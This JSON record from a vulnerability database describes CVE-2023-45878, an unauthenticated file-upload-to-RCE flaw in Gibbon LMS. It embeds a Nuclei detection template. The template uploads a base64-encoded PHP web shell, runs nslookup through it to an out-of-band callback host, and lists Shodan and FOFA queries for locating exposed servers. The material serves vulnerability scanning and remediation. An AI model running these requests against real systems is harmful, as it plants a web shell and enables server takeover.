{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-45878/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-45878/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-45878/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-45878/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-45878/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-45878"},"sightings":{"href":"/api/v1/sightings/cve-2023-45878"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-45878.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2023-45878\n\ninfo:\n  name: Gibbon LMS <= v25.0.01 - File Upload to RCE\n  author: ajdumanhug\n  severity: critical\n  description: |\n    Gibbon LMS versions 25.0.1 and earlier are vulnerable to an Arbitrary File Upload that can lead to Remote Code Execution (RCE). The issue stems from the rubrics_visualise_saveAjax.php endpoint, which, notably, does not require authentication. Because of this, unauthenticated attackers could potentially upload malicious PHP files and execute arbitrary code on the server.\n  impact: |\n    Unauthenticated attackers can upload arbitrary PHP files through the rubrics_visualise_saveAjax endpoint to execute arbitrary code on the Gibbon LMS server, enabling complete application and server compromise.\n  remediation: |\n    Fixed in v26.0.00; upgrade immediately, or restrict access to the vulnerable endpoint and implement WAF protection.\n  reference:\n    - https://github.com/GibbonEdu/core/releases/tag/v26.0.00\n    - https://github.com/GibbonEdu/core/tree/16638b849220dd24ed1e536b44b76e222ae0f6c0\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-45878\n    - https://herolab.usd.de/security-advisories/usd-2023-0025/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-45878\n    epss-score: 0.63113\n    epss-percentile: 0.99177\n  metadata:\n    verified: true\n    max-requests: 1\n    vendor: gibbonedu\n    product: gibbon\n    shodan-query:\n      - http.favicon.hash:-165631681\n      - http.favicon.hash:\"-165631681\"\n    fofa-query: icon_hash=\"-165631681\"\n  tags: cve2023,cve,file-upload,rce,gibbonedu,gibbon,vkev,vuln\n\nflow: http(1) && http(2)\n\nvariables:\n  filename: \"{{rand_base(6)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /modules/Rubrics/rubrics_visualise_saveAjax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        img=image/png;{{filename}},PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2b&path={{filename}}.php&gibbonPersonID=0000000001\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"regex('^{{filename}}.php$', body)\"\n          - \"status_code == 200\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /{{filename}}.php?cmd=nslookup+{{interactsh-url}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - dns\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a004730450220449a8446fb544f0f99485ef7f5c69a2b99657f240481a000b1db34d08b5a8e4c022100b5eb561d5c6d2a2aedc8f27e98d9cf38444134163b1ead05a2b15c980d640087:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2023-45878"}